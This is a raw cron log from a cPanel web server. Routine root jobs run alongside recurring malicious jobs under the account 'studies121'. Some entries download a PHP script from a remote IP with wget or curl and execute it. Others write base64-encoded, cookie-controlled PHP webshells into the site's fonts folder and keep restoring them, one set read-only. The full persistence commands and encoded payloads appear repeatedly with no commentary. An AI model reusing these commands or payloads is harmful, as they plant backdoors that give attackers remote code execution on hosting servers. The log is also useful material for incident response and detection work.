Sep  3 05:08:01 ip-184-168-122-23 CROND[6320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:09:01 ip-184-168-122-23 CROND[6439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:09:01 ip-184-168-122-23 CROND[6441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:09:01 ip-184-168-122-23 CROND[6442]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 05:09:01 ip-184-168-122-23 CROND[6444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:09:01 ip-184-168-122-23 CROND[6443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:10:01 ip-184-168-122-23 CROND[6536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:10:01 ip-184-168-122-23 CROND[6538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:10:01 ip-184-168-122-23 CROND[6539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:10:01 ip-184-168-122-23 CROND[6543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:10:01 ip-184-168-122-23 CROND[6547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:10:01 ip-184-168-122-23 CROND[6548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:10:01 ip-184-168-122-23 CROND[6549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:10:01 ip-184-168-122-23 CROND[6551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:11:01 ip-184-168-122-23 CROND[6652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:11:01 ip-184-168-122-23 CROND[6655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:11:01 ip-184-168-122-23 CROND[6657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:11:01 ip-184-168-122-23 CROND[6659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:12:01 ip-184-168-122-23 CROND[6795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:12:01 ip-184-168-122-23 CROND[6797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:12:01 ip-184-168-122-23 CROND[6798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:12:01 ip-184-168-122-23 CROND[6799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:12:01 ip-184-168-122-23 CROND[6800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:13:01 ip-184-168-122-23 CROND[6992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:13:01 ip-184-168-122-23 CROND[6994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:13:01 ip-184-168-122-23 CROND[6995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:13:01 ip-184-168-122-23 CROND[6996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:14:01 ip-184-168-122-23 CROND[7103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:14:01 ip-184-168-122-23 CROND[7105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:14:01 ip-184-168-122-23 CROND[7106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:14:01 ip-184-168-122-23 CROND[7108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:14:01 ip-184-168-122-23 CROND[7107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:15:01 ip-184-168-122-23 CROND[7252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:15:01 ip-184-168-122-23 CROND[7254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:15:01 ip-184-168-122-23 CROND[7258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:15:01 ip-184-168-122-23 CROND[7256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:15:01 ip-184-168-122-23 CROND[7259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:15:01 ip-184-168-122-23 CROND[7257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:16:01 ip-184-168-122-23 CROND[7392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:16:01 ip-184-168-122-23 CROND[7394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:16:01 ip-184-168-122-23 CROND[7395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:16:01 ip-184-168-122-23 CROND[7396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:16:01 ip-184-168-122-23 CROND[7397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:16:01 ip-184-168-122-23 CROND[7400]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 05:17:01 ip-184-168-122-23 CROND[7499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:17:01 ip-184-168-122-23 CROND[7500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:17:01 ip-184-168-122-23 CROND[7502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:17:01 ip-184-168-122-23 CROND[7503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:18:01 ip-184-168-122-23 CROND[7650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:18:01 ip-184-168-122-23 CROND[7653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:18:01 ip-184-168-122-23 CROND[7654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:18:01 ip-184-168-122-23 CROND[7655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:18:01 ip-184-168-122-23 CROND[7652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:19:01 ip-184-168-122-23 CROND[7871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:19:01 ip-184-168-122-23 CROND[7873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:19:01 ip-184-168-122-23 CROND[7876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:19:01 ip-184-168-122-23 CROND[7879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:20:01 ip-184-168-122-23 CROND[7981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:20:01 ip-184-168-122-23 CROND[7983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:20:01 ip-184-168-122-23 CROND[7984]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:20:01 ip-184-168-122-23 CROND[7985]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:20:01 ip-184-168-122-23 CROND[7986]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 05:20:01 ip-184-168-122-23 CROND[7987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:20:01 ip-184-168-122-23 CROND[7988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:20:01 ip-184-168-122-23 CROND[7989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:20:01 ip-184-168-122-23 CROND[7990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
